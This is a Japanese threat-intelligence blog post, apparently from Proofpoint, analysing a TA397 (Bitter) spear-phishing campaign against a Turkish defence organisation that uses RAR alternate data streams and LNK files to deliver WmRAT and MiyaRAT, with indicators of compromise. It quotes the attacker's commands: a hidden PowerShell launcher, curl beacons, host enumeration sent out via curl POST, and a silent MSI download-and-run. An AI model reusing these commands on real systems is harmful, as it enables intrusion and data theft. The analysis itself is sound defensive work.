主な調査結果
- プルーフポイントは、マダガスカルにおける公共インフラプロジェクトに関する誘い文句でトルコの防衛部門組織を標的にしたAPT(政府を後ろ盾とする高度標的型攻撃グループ)TA397の攻撃を観測しました。
- この攻撃チェーンでは、RARアーカイブ内の代替データストリームを使用してショートカット(LNK)ファイルを配信し、標的マシン上にスケジュールされたタスクを作成してさらなるペイロードを送り込みます。
- TA397は、この攻撃チェーンの最終段階で、WmRATおよびMiyaRATマルウェア ファミリーを手動で配信していることが確認されています。どちらのマルウェア ファミリーも、情報収集と流出を可能にするように設計されています。
- プルーフポイントは、TA397のキャンペーンは、南アジア政府の利益を支援する情報収集活動であることはほぼ間違いないと評価しています。
概要
2024年11月18日、TA397(別名:Bitter)は、トルコの防衛分野の組織を標的にスピアフィッシングのおとりメールを送信しました。この電子メールには、マダガスカルにおけるインフラ開発のための世界銀行の公的イニシアチブの詳細を示すおとりPDF (~tmp.pdf)ファイル、PDFを装ったショートカット(LNK)ファイル(PUBLIC INVESTMENTS PROJECTS 2025.pdf.lnk)、PowerShellコードを含む代替データストリーム(ADS)ファイルを含む圧縮アーカイブ(RAR)ファイルが添付されていました。
このルアーには「PUBLIC INVESTMENTS PROJECTS 2025 _ MADAGASCAR」という件名が含まれており、RARアーカイブ内のPDFを装ったLNKファイル名「PUBLIC INVESTMENTS PROJECTS 2025.pdf.lnk」と酷似していました。この件名のテーマは、TA397にとってよく使われるものです。彼らが標的とする組織の大半は、公共部門に属しているか、公共投資を受け取っているため、このタイトルは彼らの攻撃キャンペーンの標的となる組織の種類をよく表しています。
RAR アーカイブの使用は、TA397 ペイロード配信の定番の手口です。2024年前半を通じて、プルーフポイントは、TA397が標的のマシン上でスケジュールされたタスクを作成する手段として、RARアーカイブ内のMicrosoft Compiled Help Files(CHM)ファイルを利用することを確認しています。
このブログ記事では、TA397 が NTFS 代替データストリーム(ADS)を PDF ファイルや LNK ファイルと組み合わせて使用することで永続性を獲得し、さらなるマルウェアの展開を容易にしていることについて詳しく説明します。この調査では、TA397によるwmRATの継続的な使用、最近発見されたMiyaRAT(攻撃グループの武器庫に追加された最新のもの)、およびTA397の関連インフラストラクチャについても考察します。
感染チェーン
このスピアフィッシングメールは、ある政府機関の漏洩したメールアカウントから発信され、その中には様々なアーティファクトを含むRARアーカイブが含まれていました。LNKファイルと並んで、「~tmp.pdf」ファイルと2つのNTFS代替データストリーム(ADS)があり、1つは「Participation」、もう1つは「Zone.Identifier」と名付けられていました。
TA397感染チェーンの図
RARファイルを開くとき、Windowsに組み込まれたRAR抽出ユーティリティ、またはWinRARを使用すると、ADSストリームがユーザーから隠れるため、標的とされた人からはLNKファイルしか見えません。さらに、PDFはHidden, System & Files ready for archiving (HSA)という属性が有効になっているため、ユーザーはpdf.lnkという拡張子によってPDFファイルが開かれていると錯覚してしまいます。デフォルトでは、Windowsはファイルの本当の拡張子を隠してしまいます。しかし、RARが7-Zipで開かれた場合、ユーザーはWindowsシステム(NTFSファイルフォーマットされたシステム)上のNTFS ADSストリームを表示し、抽出することができます:
53a653aae9678075276bdb8ccf5eaff947f9121f73b8dcf24858c0447922d0b1 の 7-Zip のスクリーンショット
ADSストリームは、WindowsのNTFSファイルシステムの機能で、データストリームをファイルに添付することができます。ADSストリームをファイルとともにアーカイブコンテナに含めることができるアーカイブ形式とソフトウェアがありますが、この攻撃チェーンで使用されているアーカイブ形式は、NTFS ADSストリームを保存できるRAR v5でした。
Zone.Identifierストリームは、古いWindowsバージョンでセキュリティ機能として導入されたADSです。これは、ファイルが信頼できるかどうかを判断するために、URLセキュリティゾーン(例えば、インターネットのゾーン3)のような、ファイルの出所に関する情報を格納します。ブラウザ経由でダウンロードされたファイルは、自動的にこのストリームを受信します。さらに、Windowsエクスプローラを使用してダウンロードした アーカイブからファイルを抽出すると、抽出されたファイルは、元のアーカイブ を指すReferrerUrlを持つZone.Identifierストリームを継承します。
Zone.Identifier ADSは、"~tmp.pdf "ファイルの生成元に関する情報を含んでおり、以下で見ることができます:
PDF Zone.Identifierの詳細のスクリーンショット
この"~tmp.pdf "ファイルは、世界銀行の組織からダウンロードされた正規のPDFで、マダガスカルの舗装道路に関するインフラ・プロジェクトの詳細が記載されています。これは次のスクリーンショットで見ることができます:
キャンペーンでおとり文書として使用された正規のPDF
2つ目のADSは「Participation」ADSです。「Participation」ストリームの中には、base64エンコードされたPowerShell blobが入っていました:
「Participation」からBase64エンコードされたPowerShell
LNKは以下のconhostコマンドを実行しました:
--headless cmd /k "cmd < ~tmp.pdf:Participation & exit"
これにより、~tmp.pdfファイルは、"Participation "ADSストリームに含まれるbase64エンコードされたPowerShellを実行し、以下のコマンドにデコードされます:
解読されたPowerShellコマンド
このPowerShellコマンドは、ユーザーに世界銀行のおとり文書を表示するPDFルアーファイルを開き、コマンドは次に「DsSvcCleanup」という名前のスケジュールされたタスクを設定します。このスケジュールされたタスクは、17分ごとにcurlユーティリティでターゲットのホスト情報(ユーザー名とコンピュータ名)をドメインjacknwoods[.]comに送信しようとしました。このURI構造は、TA397によって定期的に使用されます。ペイロードの取得に成功すると、ダウンロードしたファイルがコマンドプロンプトで起動されます。このタスクは、ペイロードが被害者のマシンにドロップされても実行され続けます。
これらのリクエストは以下のような構成になっていました:
GET hxxp[:]//jacknwoods[.]com/jacds[.]php?jin=%computername%_%username% Host: jacknwoods[.]com User-Agent: curl/7.55.1 Accept: */*
プルーフポイントは、TA397のオペレータが、最初のスケジュールされたタスク要求の約12時間後に、2つの異なるペイロードと、ターゲットマシンを列挙し、その情報を含むPOST要求を発行する第3のコマンドを展開し、手動コマンドでこれらの要求に応答することを観察しました。
まず、攻撃側サーバーから以下のような応答がありました:
初めて観測されたペイロード
このコマンドは、ターゲットマシンに「anvrsa.msi」ファイルをダウンロードして実行し、WmRATファイル「anvrsa.exe」をインストールします。
TA397は、WmRATからの通信が成功しないと判断すると、さらにコマンドを発行しました。その直後、Proofpointは、TA397がターゲットマシンを列挙するために以下のコマンドを発行しているのを確認しました:
cd C:\programdata dir >> abc[.]pdf tasklist >> abc[.]pdf wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName >> abc[.]pdf cmd /c curl -X POST -F "file=[@]C:\programdata\abc[.]pdf" hxxps[:]//www[.]jacknwoods[.]com/chthuo[.]php?ain=%computername%_%username% del abc[.]pdf
この一連のコマンドは、TA397がProgramDataディレクトリを列挙し、現在実行中のプロセスをリストアップし、Windowsコマンドラインユーティリティ(WMIC)を使用してターゲットマシンで実行されているアンチウイルス製品を特定し、そのデータをファイルにしてjacknwoods[.]comドメイン上の別のエンドポイントに情報を流すことを示しています。非常に類似した一連のコマンドは、以前にも観測され、TA397のものとされ、StrikeReady Labsによって公開されています。
その後、プルーフポイントのリサーチャーは、TA397が「gfxview.msi」をダウンロードして実行することで、別のペイロードをドロップすることを確認しました:
curl -o C:\users\public\music\gfxview[.]msi http://jacknwoods[.]com/gfxview[.]msi msiexec /i C:\users\public\music\gfxview.msi /qn /norestart
これは、MiyaRATペイロードである「xrgtg.exe」をインストールするためのドロッパーとして機能します。WmRATと MiyaRAT は QiAnXin Threat Intelligence Center によって最初に特定されました。以下は、WmRAT と MiyaRAT に関するプルーフポイントの詳細な分析です。
WmRAT
WmRATはC++で書かれたリモートアクセストロイの木馬(RAT)で、通信にソケットを使用し、標準的なRAT機能を備えています。RATは、基本的なホスト情報の収集、ファイルのアップロードやダウンロード、スクリーンショットの取得、ターゲットマシンのジオロケーションデータの取得、ディレクトリやファイルの列挙、cmdやPowerShellを介した任意のコマンドの実行が可能です。このマルウェアはまた、リサーチャーやサンプルを調査する対応者を惑わす可能性のある、多数のジャンク・スレッドを生成します。
このマルウェアは、GetDynamicTimeZoneInformation.を呼び出してタイムゾーン情報をコピーすることから始めます。このマルウェアは、ユニークで面白いスリープ技術ではなく、スリープを直接呼び出す古典的な方法を使用しています。これはマルウェア全体を通してさまざまな段階で行われるだけでなく、単に長いスリープを開始するという目的を果たす専用の関数もあります。
次にサンプルは、基本的なホスト情報を収集するスレッドを作成します:
- ユーザー名
- ホスト名
- ホストの論理ドライブのリスト
この情報は収集されただけで、何の役にも立たず、このプロセスは1,000回も繰り返されます。ほとんどの場合、これは行動ログを埋めるためか、環境内に大量のノイズを発生させるためです。
基本的なディスク情報を収集するマルウェア
このスレッドを作成した直後に、同じ情報を収集する同じ関数を実行する別のスレッドが作成されます。
スレッドが作成されると、マルウェアはC2との通信を試み始めます。プルーフポイントが観測したサンプルでは、この段階ではまだソケットが初期化されていないため、これらの特定の通信は失敗します。しかし、実行の後半になるとソケットが適切に初期化されるため、その時点以降は実際にC2と通信できるようになります。このマルウェアは、暗号化されたブロブから各文字を取り出し、そこから0x25を引くことで、C2サーバーのアドレスacademymusica[.]comを復号します。
サーバーアドレス academymusica[.]com.
この減算暗号は、このマルウェアにとって、すべての文字列の復号化を行う方法です。各文字に設定された値が加算または減算され、期待される出力が得られます。通常、マルウェアがコマンド識別子やデータ識別子をC2に送信する場合、それは平文で行われるか、何らかの数値で行われます。しかしこのマルウェアの場合、一見ランダムな値を識別子として送信しています。以下の "*****"のように
アスタリスクのクリアテキスト文字列
すべてのジャンクスレッドが開始したと仮定すると、マルウェアはmicrosoft[.]comにリクエストを行うことで接続チェックを行います。この後、ソケットが初期化され、プログラム内で先に復号化されたC2に接続されます。これはハードコードされたポートで通信するように設定されており、このサンプルでは47408に設定されています。
ハードコードされたポートの初期化
ソケットは C2 から 4 バイトの値を受け取り、エンディアンを入れ替えてコマンドハンドラに渡します。
ソケット初期化後にコマンドハンドラを起動
サポートされているコマンドとしては、以下のようなものが挙げられる:
- 8: ファイルの読み取りと持ち出し
- 9: ホスト・サマリーの作成
- 12: 感染の出口
- 13: C2からデータを受け取り、ファイルストリームに書き込み
- 15:C2からファイルパスを受信し、復号
- 19: スクリーンショットを撮って持ち出す
- 21: 地理位置情報の取得
- 22: 指定されたディレクトリからファイルリストを取得し、ファイルの作成/変更時刻を収集
- 24: ファイルとディレクトリのディスクサイズを取得
- 26: ミニコマンドハンドラー
- 27: cmdかpowershellで文字列を実行するか、自己を再起動する
- 31: 終了
MiyaRAT
MiyaRATもC++で書かれており、WmRATと同様の機能を含んでいます。このマルウェアは、ハードコードされたC2サーバーを復号することから始めます。このドメインは、エンコードされた値を取り、そこから文字列「doobiedoodooziezzz」の一致する文字を引くことで復号されます。
C2サーバーsamsnewlooker[.]comの解読
この結果、C2ドメインはsamsnewlooker[.]comとなります。これとともに、サンプルには、インプラントが接続するポートを決定する文字列としてハードコードされたポート値が設定されています。奇妙なことに、このマルウェアはその後、一般的な乱数生成器の実装であるMersenne twisterの独自の実装を実行し、指定された期間スリープする値を生成するために使用されます。
C2がデコードされると、ハードコードされたポート56189でグローバルソケットが作成されます。
ハードコードされたポート56189でソケットを作成
ソケットの初期化後、MiyaRATは基本的なシステム情報を収集し、C2との最初の通信で送信します。
攻撃者に送信するために収集された基本情報
O最初の通信で送信される最後のフィールドのひとつは、マルウェアのバージョンで、この場合はバージョンは3.0です。
マルウェアのバージョン情報
このデータは、データの各バイトを 0x43 と XOR することで暗号化されます。C2に送信されるデータ全体の例を以下の通りです。
```
C:\--3 [106.07/238.47] GB FREE
|<username>|<hostname>|C:\Windows\cnstaller\MScCA69.tmp|C:\Users\<user>|10.0 125 19044|3.0|
```
C2はMiyaRATがサポートするコマンドに応答することができます:
- GDIR:ディレクトリツリーを取得
- DELz:ディレクトリ/ファイルを削除
- GFS:特定のディレクトリにあるすべてのファイルを列挙
- SH1start_cmd:CMD を使ったリバースシェル
- SH1start_ps:PowerShell を使ったリバースシェル
- SH1:リバースシェルとインタラクト
- SFS:新しいソケットに接続し、UPL/DWNL経由でファイルのアップロードとダウンロードを実施
- GSS:スクリーンショットを撮り、持ち出し
- SH1exit_client:感染の終了
- SH2:リバースシェルとインタラクト
ネットワーク分析
この攻撃キャンペーンを通してのTA397のインフラ使用は、インプラントドメインとステージングドメインに分かれています。jacknwoods[.]comドメインは、WmRATとMiyaRATを配布するためのステージングドメインとして機能し、academymusica[.]comとsamsnewlooker[.]comは、各インプラントのC2ドメインとして機能しました。
ステージングドメインの jacknwoods[.]com は 185.244.151[.]84 に解決され、GoDaddy をプロバイダとして Let's Encrypt 証明書で登録されていました。プルーフポイントは、ステージングインフラストラクチャを展開する際、過去のTA397キャンペーンでこのようなドメイン登録パターンの組み合わせをいくつか確認しています。このIPはマルチテナントであり、TA397によって管理されていません。
WmRAT C2 academymusica[.]comは分析時点で38.180.142[.]228に解決し、MiyaRAT C2 samsnewlooker[.]comは96.9.215[.]155に解決しました。プルーフポイントは、これら2つのIPは攻撃者が所有するインフラである可能性が高いと評価しています。
アトリビューション(攻撃者の紐づけ)
このブログは、TA397の能力セットにおけるTTPの興味深い進化を明らかにしましたが、この活動は依然として、プルーフポイントが過去にTA397から観察した行動の特徴的な指標を示しています:
- RARアーカイブを使用してペイロードを配信し、ターゲットマシンにスケジュールされたタスクを作成する。
- 使用されているインフラとホスティング・プロバイダーは、過去のTA397インフラと類似している。
- EMEAおよびAPAC地域の防衛分野の組織を対象としている。
- 観測されたキャンペーン全体を通じて、活動は一貫してUTC+5:30の就業時間内に行われている。プルーフポイントは、このタイムゾーンの就業時間に合わせて、さまざまなキャンペーンでTA397マルウェアの手動展開を複数回観測している。
- このブログで分析したRATはいずれも、歴史的にTA397 (wmRATと MiyaRAT) とされており、プルーフポイント社もこの評価に同意。
プルーフポイントは、WmRATとMiyaRATは、TA397によってアクティブに運用されている2つの異なるマルウェア ファミリーであると評価しています。私たちは、両ファミリが同じ開発者によって作成された可能性が現実的であると考えています。また、MiyaRAT が彼らの武器庫にある 2 つのツールのうち新しい方であることも明らかです。プルーフポイントは、マルウェアの散発的な展開が特定の数のキャンペーンでのみ観察されていることから、MiyaRATはTA397が価値が高いと判断したターゲットに予約されている可能性があると評価しています。
プルーフポイントのリサーチャーは、観測されたキャンペーンの特徴、以前に観測されたルアーコンテンツ、過去のターゲティング、TA397キャンペーンの時間ベースの分析、およびBitterに関連する活動に関する業界報告のレビューに基づき、これらのキャンペーンはほぼ間違いなく南アジア政府の利益を支援する情報収集活動であると評価しています。
重要なポイント
TA397は、EMEAおよびAPAC地域全体の政府、エネルギー、電気通信、防衛およびエンジニアリング組織を頻繁かつ一貫して標的とする、南アジアの著名な結節点であり、スパイ活動に焦点を当てたAPTです。彼らは、特権情報や知的財産へのアクセスを目的として、標的組織に悪意のあるバックドアを配備するために、ステージングドメインと通信するスケジュールタスクを執拗に利用しています。
このブログでは、TA397からの侵入を特定し、防御するために必要な知識とツールを防御者に提供します。
YARA / ET シグネチャ
YARAのシグネチャはこちらからご確認ください。
2058192 - ET MALWARE TA397/Bitter Requesting Next Stage Payload
IoC(侵害指標)
Indicator |
Type |
First Observed |
Description |
53a653aae9678075276bdb8ccf5eaff947f9121f73b8dcf24858c0447922d0b1 |
SHA256 |
2024-11-18 |
RAR |
f6c77098906f5634789d7fd7ff294bfd95325d69f1be96be1ee49ff161e07733 |
SHA256 |
2024-11-18 |
LNK |
10cec5a84943f9b0c635640fad93fd2a2469cc46aae5e43a4604c903d139970f |
SHA256 |
2024-09-23 |
wmRAT |
c7ab300df27ad41f8d9e52e2d732f95479f4212a3c3d62dbf0511b37b3e81317 |
SHA256 |
2024-10-12 |
MiyaRAT |
academymusica[.]com |
Domain |
2024-11-06 |
C2 |
samsnewlooker[.]com |
Domain |
2024-09-25 |
C2 |
jacknwoods[.]com |
Domain |
2024-11-07 |
Staging Domain |
38.180.142[.]228 |
IP |
2024-11-06 |
C2 |
96.9.215[.]155 |
IP |
2024-09-25 |
C2 |